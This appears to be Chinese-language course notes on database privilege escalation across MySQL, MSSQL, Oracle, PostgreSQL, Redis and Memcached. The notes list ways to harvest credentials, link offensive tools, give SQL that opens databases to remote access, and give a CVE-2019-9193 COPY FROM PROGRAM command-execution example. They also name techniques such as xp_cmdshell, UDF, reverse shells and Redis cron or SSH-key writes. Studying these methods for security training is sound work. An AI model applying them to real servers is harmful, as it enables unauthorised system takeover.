数据库提权

数据库

数据库提权流程:

1、先获取到数据库用户密码//一般就是拿shell翻配置文件

-网站存在SQL注入漏洞

-数据库的存储文件或备份文件

-网站应用源码中的数据库配置文件

-采用工具或脚本爆破(需解决外联问题)

2、利用数据库提权项目进行连接

java启动

Databasetools

RequestTemplate

java启动

https://github.com/SafeGroceryStore/MDUT

https://github.com/Hel10-Web/Databasetools

https://github.com/1n7erface/RequestTemplate

3、可利用建立代理解决不支持外联

-利用已知Web权限建立代理(等同于本地连接)

-利用已知权限执行SQL开启外联(让数据库支持外联)

//mysql

GRANT ALL PRIVILEGES ON *.*TO’帐号‘@’%’ IDENTIFIED BY’密码’ WITH GRANT OPTION;

flush privileges;

//

EXEC sp_configure ‘show advanced options’,1;

RECONFIGURE;

EXEC sp_configure ‘Ad Hoc Distributed Queries’,1;

RECONFIGURE;

ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;

SHUTDOWN IMMEDIATE;

STARTUP;

4、可利用数据库提权类型条件及技术

-MYSQL:PHP+MYSQL 以web入口提权

条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)//secure-file-priv=“d:”这种就只能在d盘内进行提权

技术:UDF MOF 启动项 反弹Shell //MOF2008之后就没了

https://www.sqlsec.com/2020/11/mysql.html#%E6%9D%83%E9%99%90%E8%8E%B7%E5%8F%96

-MSSQL:.NET+MSSQL 以web入口提权 //win特有

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

https://www.cnblogs.com/bonelee/p/15864534.html

xp_cmdshell

xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。

SQL Server 2005中的xp_cmdshell
由于存在安全隐患,所以在SQL Server 2005中, xp_cmdshell 默认是关闭的。
此时,如果执行 xp_cmdshell 将会提示服务未开启:

  1. getshell或者存在sql注入并且能够执行命令。
  2. sql server是system权限,sql server默认就是system权限。

sp_oacreate

-Oracle:(站库分离,非JSP,直接数据库到系统等)

一般oracle和jsp、java结合的多,拿到就是高权限,再从oracle从低权限到高权限太鸡肋

条件:数据库用户密码

技术:DBA,普通用户,注入模式

-PostgreSQL

Web到系统

条件:数据库用户密码

技术:CVE-2019-9193 UDF libc//现阶段是15、16版本,libc利用是8.2版本之前比较老

复现镜像:

https://market.aliyun.com/products/56024006/cmjj016247.html

DROPTABLEIF EXISTS cmd_exec;

CREATE TABLEcmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM ‘id’;

SELECT* FROM cmd_exec;

-Redis //linux特有 win也能装

端口:6379

数据库到Linux

条件:利用未授权或密码连接后执行

见第78天课程内容-只适用Linux

技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

使用MUDT的时候计划任务常用、密钥ssh和反弹shell会出现问题

计划任务/var/spool/cron下

复现搭建:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzf redis-2.8.17.tar.gz

cd redis-2.8.17

make

cd src

/redis-server

-Memcached

端口:11211

数据库到Linux

条件:设置远程可访问或取得本地权限后访问

是一套常用的key-value缓存系统,由于它本身没有权限控制模块,

服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。

复现镜像:

https://market.aliyun.com/products/56024006/cmjj017529.html

案例参考:

https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg

开启命令:

systemctl start memcached.service

关闭命令:

systemctl stop memcached.service

查看状态:

systemctl status memcached.service